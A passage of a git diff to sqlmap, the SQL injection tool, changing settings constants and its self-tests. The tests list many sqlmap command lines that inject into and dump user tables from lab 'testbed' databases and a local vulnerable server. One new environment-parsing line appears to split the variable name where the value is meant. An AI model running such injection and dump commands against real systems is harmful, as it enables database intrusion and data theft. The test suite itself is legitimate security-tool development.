MCKOI_DEFAULT_SCHEMA = "APP"
|
MCKOI_DEFAULT_SCHEMA = "APP"
|
||||||
|
CACHE_DEFAULT_SCHEMA = "SQLUser"
|
||||||
|
|
||||||
|
# DBMSes where OFFSET mechanism starts from 1
|
||||||
|
PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
|
||||||
|
|
||||||
# Names that can't be used to name files on Windows OS
|
# Names that can't be used to name files on Windows OS
|
||||||
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
||||||
@@ -560,6 +580,9 @@ HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
|
|||||||
# Table used for Base64 conversion in WordPress hash cracking routine
|
# Table used for Base64 conversion in WordPress hash cracking routine
|
||||||
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
||||||
|
|
||||||
|
# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox)
|
||||||
|
IGNORED_OPTIONS = ("--compressed",)
|
||||||
|
|
||||||
# Chars used to quickly distinguish if the user provided tainted parameter values
|
# Chars used to quickly distinguish if the user provided tainted parameter values
|
||||||
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
||||||
|
|
||||||
@@ -745,7 +768,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
|
|||||||
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
||||||
|
|
||||||
# Boldify all logger messages containing these "patterns"
|
# Boldify all logger messages containing these "patterns"
|
||||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than")
|
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ")
|
||||||
|
|
||||||
# TLDs used in randomization of email-alike parameter values
|
# TLDs used in randomization of email-alike parameter values
|
||||||
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
|
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
|
||||||
@@ -894,14 +917,24 @@ for key, value in os.environ.items():
|
|||||||
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
|
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
|
||||||
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
|
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
|
||||||
if _ in globals():
|
if _ in globals():
|
||||||
globals()[_] = value
|
original = globals()[_]
|
||||||
|
if isinstance(original, int):
|
||||||
|
try:
|
||||||
|
globals()[_] = int(value)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
elif isinstance(original, bool):
|
||||||
|
globals()[_] = value.lower() in ('1', 'true')
|
||||||
|
elif isinstance(original, (list, tuple)):
|
||||||
|
globals()[_] = [__.strip() for __ in _.split(',')]
|
||||||
|
else:
|
||||||
|
globals()[_] = value
|
||||||
|
|
||||||
# Installing "reversible" unicode (decoding) error handler
|
# Installing "reversible" unicode (decoding) error handler
|
||||||
def _reversible(ex):
|
def _reversible(ex):
|
||||||
if isinstance(ex, UnicodeDecodeError):
|
if INVALID_UNICODE_PRIVATE_AREA:
|
||||||
if INVALID_UNICODE_PRIVATE_AREA:
|
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||||
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
else:
|
||||||
else:
|
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||||
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
|
||||||
|
|
||||||
codecs.register_error("reversible", _reversible)
|
codecs.register_error("reversible", _reversible)
|
||||||
|
|||||||
+1
-1
@@ -491,7 +491,7 @@ def _resumeDBMS():
|
|||||||
|
|
||||||
dbms = value.lower()
|
dbms = value.lower()
|
||||||
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||||
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
|
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
|
||||||
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
|
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
|
||||||
|
|
||||||
if _:
|
if _:
|
||||||
|
|||||||
+119
-46
@@ -5,8 +5,6 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import division
|
|
||||||
|
|
||||||
import doctest
|
import doctest
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
@@ -20,7 +18,6 @@ import threading
|
|||||||
import time
|
import time
|
||||||
|
|
||||||
from extra.vulnserver import vulnserver
|
from extra.vulnserver import vulnserver
|
||||||
from lib.core.common import clearColors
|
|
||||||
from lib.core.common import clearConsoleLine
|
from lib.core.common import clearConsoleLine
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
@@ -33,8 +30,7 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
|
from lib.core.patch import unisonRandom
|
||||||
_rand = 0
|
|
||||||
|
|
||||||
def vulnTest():
|
def vulnTest():
|
||||||
"""
|
"""
|
||||||
@@ -44,18 +40,20 @@ def vulnTest():
|
|||||||
TESTS = (
|
TESTS = (
|
||||||
("-h", ("to see full list of options run with '-hh'",)),
|
("-h", ("to see full list of options run with '-hh'",)),
|
||||||
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
|
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
|
||||||
(u"-c <config> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
|
("--dependencies", ("sqlmap requires", "third-party library")),
|
||||||
|
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
||||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||||
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||||
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||||
("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
|
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
||||||
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||||
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||||
|
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
||||||
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
||||||
("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
("-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||||
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||||
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||||
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
|
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
|
||||||
@@ -122,12 +120,18 @@ def vulnTest():
|
|||||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
||||||
|
|
||||||
|
if "<tmp>" in cmd:
|
||||||
|
handle, tmp = tempfile.mkstemp()
|
||||||
|
os.close(handle)
|
||||||
|
cmd = cmd.replace("<tmp>", tmp)
|
||||||
|
|
||||||
output = shellExec(cmd)
|
output = shellExec(cmd)
|
||||||
|
|
||||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
||||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
dataToStdout("%s---\n" % clearColors(output))
|
dataToStdout("%s---\n" % output, coloring=False)
|
||||||
retVal = False
|
retVal = False
|
||||||
|
|
||||||
count += 1
|
count += 1
|
||||||
@@ -140,6 +144,107 @@ def vulnTest():
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
def bedTest():
|
||||||
|
"""
|
||||||
|
Runs the testing against 'testbed'
|
||||||
|
"""
|
||||||
|
|
||||||
|
TESTS = (
|
||||||
|
# MaxDB
|
||||||
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# Informix
|
||||||
|
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("retrieved: 47", "IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
||||||
|
|
||||||
|
# Altibase
|
||||||
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# CockroachDB
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
|
||||||
|
|
||||||
|
# CrateDB
|
||||||
|
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
|
||||||
|
|
||||||
|
# Drizzle
|
||||||
|
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")),
|
||||||
|
|
||||||
|
# Firebird
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# H2
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# HSQLDB
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# IBM DB2
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
|
||||||
|
|
||||||
|
# MariaDB
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
